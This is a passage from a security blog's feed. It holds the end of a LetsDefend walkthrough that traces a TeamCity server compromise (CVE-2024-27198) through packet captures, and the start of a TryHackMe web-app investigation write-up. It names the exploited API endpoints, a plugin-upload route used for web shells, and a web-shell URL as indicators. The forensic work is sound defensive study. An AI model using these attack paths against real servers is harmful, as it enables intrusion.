created?&#xA;&lt;/h3&gt;&lt;p&gt;We now understand that the &lt;em&gt;TeamCity&lt;/em&gt; &lt;em&gt;server&lt;/em&gt; was compromised using &lt;em&gt;CVE-2024€“27198&lt;/em&gt; to achieve remote code execution. To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we need to identify specific activities performed by the threat actor — including what user accounts were created.&lt;/p&gt;&#xA;&lt;p&gt;For this part of the analysis, we&amp;rsquo;ll jump back into &lt;em&gt;Wireshark&lt;/em&gt; and adjust our filter based on new details we discovered from the &lt;em&gt;Rapid7&lt;/em&gt; blog, including the protocol and port exposed by the &lt;em&gt;TeamCity&lt;/em&gt; web server:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;TeamCity exposes a web server over &lt;strong&gt;HTTP port 8111&lt;/strong&gt; by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Back in &lt;em&gt;Wireshark&lt;/em&gt;, let&amp;rsquo;s apply a filter to focus only on network activity from the attacker&amp;rsquo;s IP to the exposed port &lt;code&gt;8111&lt;/code&gt; over &lt;code&gt;http&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;tcp.port == 8111 &amp;amp;&amp;amp; http &amp;amp;&amp;amp; ip.src_host == 95.164.9.144&lt;/p&gt;&#xA;&lt;p&gt;With our new filters in place, we can scroll through the packets until we stumble upon a &lt;code&gt;POST&lt;/code&gt; request to the resource &lt;code&gt;/app/rest/users&lt;/code&gt;. This API endpoint appears to be used for user creation.&lt;/p&gt;&#xA;&lt;p&gt;Selecting the first one we found (packet &lt;code&gt;4814&lt;/code&gt;), we can confirm this as the packet details contain evidence of user creation and password assignment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/7b60a16dcddfdecef6b4f2b19a5e4e34_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying user creation through a POST request&lt;/p&gt;&#xA;&lt;p&gt;This method provides a reliable way to track user creation at the packet level through HTTP &lt;code&gt;POST&lt;/code&gt; requests to the exposed port which we can use to determine the first user created and answer &lt;strong&gt;Question 8&lt;/strong&gt;. Good find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/846985efc6f740959cb7d64dfc049279_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-the-attacker-used-the-newly-created-user-to-upload-a-web-shell-what-endpoint-was-used-to-upload-the-webshell&#34;&gt;Question 9: The attacker used the newly created user to upload a web shell. What endpoint was used to upload the web shell?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 9&lt;/strong&gt;, we need to identify the endpoint used to upload a web shell. Referring to the &lt;em&gt;Rapid7&lt;/em&gt; blog again, we learn that another post-exploitation indicator of compromise (IOC) in this attack is the upload of a malicious plugin.&lt;/p&gt;&#xA;&lt;p&gt;By searching for an endpoint in the &lt;em&gt;Wireshark&lt;/em&gt; traffic associated with this activity, we can determine which one was used. Scrolling through the packets, we stumble on packet &lt;code&gt;4939&lt;/code&gt;, which is an HTTP &lt;code&gt;POST&lt;/code&gt; request to the &lt;code&gt;/admin/pluginUpload.html&lt;/code&gt; endpoint — this seems to be the likely answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/163c33091349299566557b2ce1d13221_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Finding evidence of an upload endpoint&lt;/p&gt;&#xA;&lt;p&gt;Based on the evidence, it seems that this endpoint is used to manage &lt;em&gt;TeamCity&lt;/em&gt; plugins and that the attacker&amp;rsquo;s web shell is disguised as a plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/11b2f909e7dad9b1be405205368909d0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-the-attacker-uploaded-a-web-shell-using-the-newly-created-user-what-is-the-full-url-of-the-uploaded-webshell&#34;&gt;Question 10: The attacker uploaded a web shell using the newly created user. What is the full URL of the uploaded web shell?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the endpoint the web shell was uploaded to, we need to determine the full URL of the web shell itself. You may have noticed in &lt;strong&gt;Question 9&lt;/strong&gt; that the packet details included a filename: &lt;code&gt;5z6p8kCA.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/145588452574cd48168475442e58461f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the web shell filename&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s get more information by following the TCP stream for the packet we found in the previous question (&lt;code&gt;4939&lt;/code&gt;). Once in the TCP stream window, search for the filename of the web shell. We&amp;rsquo;ll see a &lt;code&gt;POST&lt;/code&gt; request referring to a &lt;code&gt;.jsp&lt;/code&gt; plugin with the same name.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ce9c0ddb0b84d2c7bedc081eabeccade_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the resource path of the uploaded web shell&lt;/p&gt;&#xA;&lt;p&gt;From this, we can infer the full URL of the uploaded web shell:&lt;/p&gt;&#xA;&lt;p&gt;http://18.159.50.167:8111/plugins/5z6p8kCA/5z6p8kCA.jsp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/088f6856870cb2a12bd57fd2408fd972_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-the-attacker-created-another-user-named-41m67llo-and-uploaded-another-web-shell-what-is-the-name-of-the-zip-file-that-was-uploaded&#34;&gt;Question 11: The attacker created another user named 41m67llo and uploaded another web shell. What is the name of the ZIP file that was uploaded?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the end of our investigation and are provided with an extremely helpful detail that&amp;rsquo;ll help us identify the second web shell quickly — the username &lt;code&gt;41m67llo&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since we already have this detail, we can leverage &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; string search function to quickly locate the first packet containing this username, which lets us examine the TCP stream.&lt;/p&gt;&#xA;&lt;p&gt;First, press the magnifying glass icon above the filter box. Then select &lt;em&gt;Packet Details&lt;/em&gt; to search the packet details pane. Finally, change the search type to &lt;em&gt;String&lt;/em&gt; and enter the username.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/cf84463496ccb891658ef4cfd39b30db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Locating the provided username in the packet details&lt;/p&gt;&#xA;&lt;p&gt;The search brings us to packet &lt;code&gt;6553&lt;/code&gt; — you know the drill, follow the TCP stream:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/a2fbfca92a9b3e7508ae35ea68a83982_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Following the TCP stream for the identified user&lt;/p&gt;&#xA;&lt;p&gt;Once inside the TCP stream window, we&amp;rsquo;ll use the search function again to look for the string &lt;code&gt;&amp;quot;upload&amp;quot;&lt;/code&gt; since we&amp;rsquo;re looking for another web shell upload. This reveals the filename of the second web shell: &lt;code&gt;V5HwJgS3.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/ceb9583f67c679f6259e2cc2396ade1e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Locating the second web shell in the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/9aba34e11fa0ad99aa76b5588ba9cf00_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-the-attacker-created-a-file-on-the-system-containing-some-text-what-is-the-text-inside-thatfile&#34;&gt;Question 12: The attacker created a file on the system containing some text. What is the text inside that file?&#xA;&lt;/h3&gt;&lt;p&gt;On to our final objective — discovering a text file left behind by the attacker. To do this, we&amp;rsquo;ll continue working in the same TCP stream window we used in the last question, this time searching for &lt;code&gt;.txt&lt;/code&gt;, since that&amp;rsquo;s the most likely plain text format used.&lt;/p&gt;&#xA;&lt;p&gt;Once we run the search, we&amp;rsquo;ll see a command using &lt;code&gt;echo&lt;/code&gt; to pipe the attacker&amp;rsquo;s message into a file named &lt;code&gt;file.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/897d02c5065cdcd324d575997a96e80b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make the message more readable, we can remove some of the URL encoding. A quick way to do this is to use the &lt;em&gt;Wireshark&lt;/em&gt; string search again for a recognizable string from the message (like &lt;code&gt;&amp;quot;BUDD&amp;quot;&lt;/code&gt;) in the main &lt;em&gt;Wireshark&lt;/em&gt; window, now that we understand the context.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;518px&#34; data-flex-grow=&#34;216&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/d22fd8edef564de4832def3e46931a4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This takes us to the corresponding packet where we can see the command and the text piped into the file. Well, that&amp;rsquo;s a sobering message to read! This confirms that our &lt;em&gt;TeamCity&lt;/em&gt; server was compromised and under the attacker&amp;rsquo;s control.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/dcc05ccdec665ba65bf2e7cbfaaf2607_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;527px&#34; data-flex-grow=&#34;219&#34; height=&#34;364&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/b23b428b59c3712a713ece276a8bd039_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission Complete!&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This scenario gave us the opportunity to walk through a full &lt;em&gt;TeamCity&lt;/em&gt; server compromise: from initial log review to uncovering attacker behavior and identifying post-exploitation artifacts. By leveraging &lt;em&gt;Velociraptor&amp;rsquo;s&lt;/em&gt; collection capabilities, analyzing the packet captures with &lt;em&gt;Wireshark&lt;/em&gt;, then correlating the evidence with external threat intelligence, we were able to piece together a timeline of events that started with an unauthenticated exploit and ended with multiple web shells and a notice of pwnage left on the system.&lt;/p&gt;&#xA;&lt;p&gt;The attacker&amp;rsquo;s use of &lt;em&gt;CVE-2024€“27198&lt;/em&gt; to bypass authentication and gain remote code execution on a vulnerable &lt;em&gt;TeamCity&lt;/em&gt; server is a stark reminder of the importance of timely patching.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to get more familiar with &lt;em&gt;Velociraptor&lt;/em&gt;, and I didn&amp;rsquo;t realize going in that we wouldn&amp;rsquo;t be using the GUI interface to perform the investigation. I was a little caught off guard, but found it really interesting and valuable to learn how the offline collector works and what artifacts are available from this mode — maybe not the lesson I was looking for initially, but it ended up pretty cool.&lt;/p&gt;&#xA;&lt;p&gt;I always enjoy trying to determine what specific vulnerability may have been exploited based on the available evidence. So often in vulnerability management, the focus is on prevention — so it&amp;rsquo;s interesting when it turns into a challenge of detection. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/velociraptor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/velociraptor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor — Triage and acquisition:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/offline_triage/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/docs/offline_triage/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor — client_info:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/vql_reference/server/client_info/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor — flows:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IPinfo.io:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ipinfo.io/95.164.9.144?lookup_source=search-bar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Krebs on Security &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Stark Industries Solutions: An Iron Hammer in the Cloud&amp;quot;&#xA;** : &lt;a class=&#34;link&#34; href=&#34;https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SOCRadar - IOC Radar:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://socradar.io/labs/app/ioc-radar/95.164.9.144&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://socradar.io/labs/app/ioc-radar/95.164.9.144&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Rapid7 — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;CVE-2024€“27198 and CVE-2024€“27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)&amp;quot;&#xA; :** &lt;a class=&#34;link&#34; href=&#34;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database — CVE-2024€“27198:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-27198&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2024-27198&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Traverse Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/</link>
            <pubDate>Sun, 24 Aug 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/41bfc0c461309f526e8057c27cbe947a_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Traverse Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmetraverse-challenge-walkthrough&#34;&gt;TryHackMe — Traverse Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-and-restoring-a-compromised-web-application-using-a-web-browser-owasp-zap-andpostman&#34;&gt;Investigating and Restoring a Compromised Web Application Using a Web Browser, OWASP ZAP, and Postman&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;41bfc0c461309f526e8057c27cbe947a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;420&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/41bfc0c461309f526e8057c27cbe947a_MD5.png&#34; width=&#34;576&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/traverse&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/traverse&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve &lt;em&gt;stumbled&lt;/em&gt; across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/traverse&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Traverse&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right spot. This challenge is a fantastic deep dive into investigating a compromised web application — let’s check out the scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bob is a security engineer at a firm and works closely with the software/DevOps team to develop a tourism web application. Once the website was moved from QA to Production, the team noticed that the website was getting hacked daily and wanted to know the exact reason. Bob consulted the blue team as well but has yet to be successful. Therefore, he finally enrolled in the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/module/software-security&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Software Security&lt;/strong&gt;&lt;/a&gt; pathway at THM to learn if he was doing something wrong.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;It sounds like we’ve got our work cut out for us to get Bob and his team back on track. But unlike Bob, we’ve already completed the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/module/software-security&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Software Security&lt;/strong&gt;&lt;/a&gt; pathway — and this challenge is one of its capstones, tying together all the key concepts. That means we’re well equipped to tackle this challenge. We’ll explore topics like the &lt;em&gt;OWASP Top 10&lt;/em&gt;, &lt;em&gt;SSDLC&lt;/em&gt;, &lt;em&gt;Dynamic Application Security Testing&lt;/em&gt;, and more.&lt;/p&gt;&#xA;&lt;p&gt;To accomplish this, we’ll leverage our knowledge of web applications and use tools like &lt;strong&gt;OWASP ZAP&lt;/strong&gt; and &lt;strong&gt;Postman&lt;/strong&gt; to complete our objectives. Sounds like fun, right? Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;In the spirit of learning, this write-up is &lt;strong&gt;spoiler-free_._&lt;/strong&gt; But, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-type-of-encoding-is-used-by-the-hackers-to-obfuscate-the-javascript-file&#34;&gt;Question 1: What type of encoding is used by the hackers to obfuscate the JavaScript file?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off this investigation by spinning up the challenge virtual machine and launching your &lt;strong&gt;TryHackMe AttackBox&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Our first task is to determine what encoding is used to obfuscate the JavaScript file. To do this, open the &lt;strong&gt;Firefox&lt;/strong&gt; browser from the &lt;em&gt;AttackBox&lt;/em&gt; and navigate to the URL for the challenge. Once the page loads, we’ll see that the website has been defaced with a message from the attacker — uh oh!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f5b5a9a62dd0461f74b6c88ad0d1f357_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;478px&#34; data-flex-grow=&#34;199&#34; height=&#34;401&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/f5b5a9a62dd0461f74b6c88ad0d1f357_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Navigating to the defaced web site&lt;/p&gt;&#xA;&lt;p&gt;For our purposes, we’ll need to leverage the browser’s &lt;strong&gt;Developer Tools&lt;/strong&gt; to identify any JavaScript files loaded by the website and see if we can find anything suspicious. First, press &lt;code&gt;F12&lt;/code&gt; to load up the developer tools.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3c3eeb4a51a4c4806b219fd4a6315a0b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;284px&#34; data-flex-grow=&#34;118&#34; height=&#34;675&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-traverse-challenge-walkthrough/3c3eeb4a51a4c4806b219fd4a6315a0b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Browser: Using developer tools to identify JavaScript loaded by the page&lt;/p&gt;&#xA;&lt;p&gt;On the 